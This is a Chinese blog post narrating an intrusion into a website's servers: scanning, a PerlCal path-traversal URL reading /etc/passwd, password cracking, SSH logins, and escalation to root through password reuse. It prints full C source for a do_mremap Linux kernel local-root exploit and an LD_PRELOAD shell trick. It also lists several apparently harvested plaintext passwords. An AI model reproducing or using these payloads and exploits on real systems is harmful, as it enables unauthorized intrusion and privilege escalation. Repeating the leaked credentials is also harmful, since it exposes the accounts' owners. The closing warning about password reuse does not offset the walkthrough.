Kindle's blog
正文
废话不说,
的渗透入侵
。开工C:\Documents and Settings\Administrator>ping www.xxx.com
Pinging www.xxx.com [192.168.0.252] with 32 bytes of data:
Reply from 192.168.0.252: bytes=32 time<10ms TTL=128
Reply from 192.168.0.252: bytes=32 time<10ms TTL=128
Reply from 192.168.0.252: bytes=32 time<10ms TTL=128
Reply from 192.168.0.252: bytes=32 time<10ms TTL=128
Ping statistics for 192.168.0.252:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
文章中IP为假的 在这里不公布真正IP
看TTL的返回信息判断系统应该不是真的 现在可以改这个
先扫描他看看吧
结果只开了 21 22 80
看来成功率不算打 FTP并没有若口令 80也没什么信息
看来了他站里 发现分有bbs.xxx.com 和 news.xxx.com 而且IP都不一样 看来想办法渗透了。
首先去bbs.xxx.com看看 用的程序似乎是绿盟那样子的 呵呵 似乎没什么漏洞 先放边上。
看看服务器开的端口情况
开了 21 22 80 也没什么漏洞
在看看news.xxx.com
经过扫描 判断服务器应该是 NT/2000
21 80 389 1002 3389
基本上也没什么漏洞 21 没若口令 这个是IIS的 检查了一便也没什么漏洞 389 也没什么用 3389 不可能有输入法吧登陆看看系统
2000server的
news.xxx.com用的程序是asp的 想到了SQL注入。不过彻底查看了一下 所有的都过滤了。
有点郁闷了
jswz.xxx.com
也是一个分页 不过这个另我非常的意外 用的是cgi的 系统是linux
21 22 80
扫了一下有个漏洞
cal_make.pl 看名字有点熟悉 看了一下 不过一直没想起来
去了国外的几个站 终于发现了~~~
Name : PerlCal
About : cal_make.pl of the PerlCal script. may allow remote users(website visitors) to view any file on a webserver
(dependingon the user the webserver is running on).
Exploit:
_make.pl?\" target=_blank>http://www.VULNERABLE.com/cgi-bin/cal_make.pl?\
p0=../../../../../../../../../../../../etc/passwd%00
by: stan (stan@whizkunde.org)
呵呵 感谢hack.co.za
在浏览器地址栏输入
_make.pl?p0=../../../../../../../../../../../../../etc/passwd%00" target=_blank>http://www.xxx.edu/cgi-bin/perlcal/cal_make.pl?p0=../../../../../../../../../../../../../etc/passwd%00
好多用户信息 不过这是一个shadow过了passwd 好不容易的机会 不能放弃!
想办法 跑这些用户吧~~~
提炼用户名 希望有弱口令
提炼过程大家参考一些资料去吧
一共20多个用户 跑出来了2个 哈哈。。~~
用SSH登陆~
权限似乎非常低
用第二个试试
哎 还是一样
看看提升权限吧~~
经过一番折腾 100%确定是rh73 内核Linux kernel 2.4
用do_brk的益出~
#include
#include
#include
char hellc0de[] =
"\x69\x6e\x74\x20\x67\x65\x74\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65"
"\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74"
"\x65\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30"
"\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74\x67\x69\x64\x28\x29\x20"
"\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74"
"\x20\x67\x65\x74\x65\x67\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75"
"\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x0/bin/sh";
int main()
{
FILE *fp;
char *offset;
fp=fopen("/tmp/own.c","w");
fprintf(fp,"%s",hellc0de);
fclose(fp);
system("gcc -shared -o /tmp/own.so /tmp/own.c;rm /tmp/own.c");
system("LD_PRELOAD=/tmp/own.so /bin/sh");
return 0;
}
郁闷 行不通
想别的办法
试试 do_mremap VMA本地权限提升漏洞
Linux内核中mremap(2)系统调用由于没有对函数返回值进行检查,本地攻击者可以利用这个漏洞获得root用户权限。
mremap系统调用被应用程序用来改变映射区段(VMAs)的边界地址。mremap()系统调用提供对已存在虚拟内存区域调整大小。从VMA区域移动部分虚拟内存到新的区域需要建立一个新的VMA描述符,也就是把由VMA描述的下面的页面表条目(page table entries)从老的区域拷贝到进程页表中新的位置。
要完成这个任务do_mremap代码需要调用do_munmap()内部内核函数去清除在新位置中任何已经存在的内存映射,也就是删除旧的虚拟内存映射。不幸的是代码没有对do_munmap()函数的返回值进行检查,如果可用VMA描述符的最大数已经超出,那么函数调用就可能失败。
:):):)
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define str(s) #s
#define xstr(s) str(s)
// this is for standard kernels with 3/1 split
#define STARTADDR 0x40000000
#define PGD_SIZE (PAGE_SIZE * 1024)
#define VICTIM (STARTADDR + PGD_SIZE)
#define MMAP_BASE (STARTADDR + 3*PGD_SIZE)
#define DSIGNAL SIGCHLD
#define CLONEFL (DSIGNAL|CLONE_VFORK|CLONE_VM)
#define MREMAP_MAYMOVE ( (1UL) << 0 )
#define MREMAP_FIXED ( (1UL) << 1 )
#define __NR_sys_mremap __NR_mremap
// how many ld.so pages? this is the .text section length (like from cat
// /proc/self/maps) in pages
#define LINKERPAGES 0x14
// suid victim
static char *suid="/bin/ping";
// shell to start
static char *launch="/bin/bash";
_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,
ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
unsigned long new_len, unsigned long flags,
unsigned long new_addr);
static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
static int i, pid=0;
static char *env[2], *argv[2];
static ulong ret;
// code to appear inside the suid image
static void suid_code(void)
{
__asm__(
" call callme \n"
// setresuid(0, 0, 0), setresgid(0, 0, 0)
"jumpme: xorl %ebx, %ebx \n"
" xorl %ecx, %ecx \n"
" xorl %edx, %edx \n"
" xorl %eax, %eax \n"
" mov $"xstr(__NR_setresuid)", %al \n"
" int $0x80 \n"
" mov $"xstr(__NR_setresgid)", %al \n"
" int $0x80 \n"
// execve(launch)
" popl %ebx \n"
" andl $0xfffff000, %ebx \n"
" xorl %eax, %eax \n"
" pushl %eax \n"
" movl %esp, %edx \n"
" pushl %ebx \n"
" movl %esp, %ecx \n"
" mov $"xstr(__NR_execve)", %al \n"
" int $0x80 \n"
// exit
" xorl %eax, %eax \n"
" mov $"xstr(__NR_exit)", %al \n"
" int $0x80 \n"
"callme: jmp jumpme \n"
);
}
static int suid_code_end(int v)
{
return v+1;
}
static inline void get_esp(void)
{
__asm__(
" movl %%esp, %%eax \n"
" andl $0xfffff000, %%eax \n"
" movl %%eax, %0 \n"
: : "m"(old_esp)
);
}
static inline void cloneme(void)
{
__asm__(
" pusha \n"
" movl $("xstr(CLONEFL)"), %%ebx \n"
" movl %%esp, %%ecx \n"
" movl $"xstr(__NR_clone)", %%eax \n"
" int $0x80 \n"
" movl %%eax, %0 \n"
" popa \n"
: : "m"(pid)
);
}
static inline void my_execve(void)
{
__asm__(
" movl %1, %%ebx \n"
" movl %2, %%ecx \n"
" movl %3, %%edx \n"
" movl $"xstr(__NR_execve)", %%eax \n"
" int $0x80 \n"
: "=a"(ret)
: "m"(suid), "m"(argv), "m"(env)
);
}
static inline void pte_populate(unsigned addr)
{
unsigned r;
char *ptr;
memset((void*)addr, 0x90, PAGE_SIZE);
r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
ptr = (void*) (addr + PAGE_SIZE);
ptr -= r+1;
memcpy(ptr, suid_code, r);
memcpy((void*)addr, launch, strlen(launch)+1);
}
// hit VMA limit & populate PTEs
static void exhaust(void)
{
// mmap PTE donor
t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(MAP_FAILED==t)
goto failed;
// prepare shell code pages
for(i=2; i pte_populate(victim + PAGE_SIZE*i); i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ); if(i) goto failed; // lock unmap base = MMAP_BASE; cnt = 0; prot = PROT_READ; printf("\n"); fflush(stdout); for(;;) { t = mmap((void*)base, PAGE_SIZE, prot, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(MAP_FAILED==t) { if(ENOMEM==errno) break; else goto failed; } if( !(cnt%512) || cnt>65520 ) printf("\r MMAP #%d 0x%.8x - 0x%.8lx", cnt, base, base+PAGE_SIZE); fflush(stdout); base += PAGE_SIZE; prot ^= PROT_EXEC; cnt++; } // move PTEs & populate page table cache ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE, MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM); if(-1==ret) goto failed; munmap((void*)MMAP_BASE, old_esp-MMAP_BASE); t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(MAP_FAILED==t) goto failed; *t = *((unsigned *)old_esp); munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE)); printf("\n[+] Success\n\n"); fflush(stdout); return; failed: printf("\n[-] Failed\n"); fflush(stdout); _exit(0); } static inline void check_kver(void) { static struct utsname un; int a=0, b=0, c=0, v=0, e=0, n; uname(&un); n=sscanf(un.release, "%d.%d.%d", &a, &b, &c); if(n!=3 || a!=2) { printf("\n[-] invalid kernel version string\n"); _exit(0); } if(b==2) { if(c<=25) v=1; } else if(b==3) { if(c<=99) v=1; } else if(b==4) { if(c>18 && c<=24) v=1, e=1; else if(c>24) v=0, e=0; else v=1, e=0; } else if(b==5 && c<=75) v=1, e=1; else if(b==6 && c<=2) v=1, e=1; printf("\n[+] kernel %s vulnerable: %s exploitable %s", un.release, v? "YES" : "NO", e? "YES" : "NO" ); fflush(stdout); if(v && e) return; _exit(0); } int main(int ac, char **av) { // prepare check_kver(); memset(env, 0, sizeof(env)); memset(argv, 0, sizeof(argv)); if(ac>1) suid=av[1]; if(ac>2) launch=av[2]; argv[0] = suid; get_esp(); // mmap & clone & execve exhaust(); cloneme(); if(!pid) { my_execve(); } else { waitpid(pid, 0, 0); } return 0; } 耶~~~~成功了 ……………………………………………… 整理了一些东西 然后看看有什么可以利用的信息没,电脑资料
《的渗透入侵》(https://www.unjs.com)。 呵呵mailuserinfo 看看这里写的什么~
admin e04i9zs8#$%
kelzr zjjjwoai22@
sunzsdk 2z2z2z2z2z2z2z2z
wollf woainiliaoynx
记得主站上有这几个管理员~ 去找登陆的地方
www.xxx.com/login.php
您的IP未被允许登陆
晕了
用SSH登陆192.168.0.252试试
果然登陆进来了 用户名是kelzr 密码是 woainiliaoynx
呵呵 试了2分钟
登陆后发现权限竟然不是root 哭了
试了3个提升权限的竟然没有用
郁闷ING
郁闷中发现一个login的记录 是这个机器登陆另一个机器的记录 密码是明文
登陆的是192.168.0.2 用户名admin 密码mozjkelzlf152@ 是FTP登陆
看来是他估计写下来的
我突然冒出个想法 :)
断开连接 重新用SSH连接主机 root mozjkelzlf152@ 哈哈进来了
有了权限就好办了
我曾经渗透过好多站都是这样 管理员的密码通用 呵呵 一个机组的密码全都一样!
哎~ 大家最好养成一个习惯 尽量避免密码重复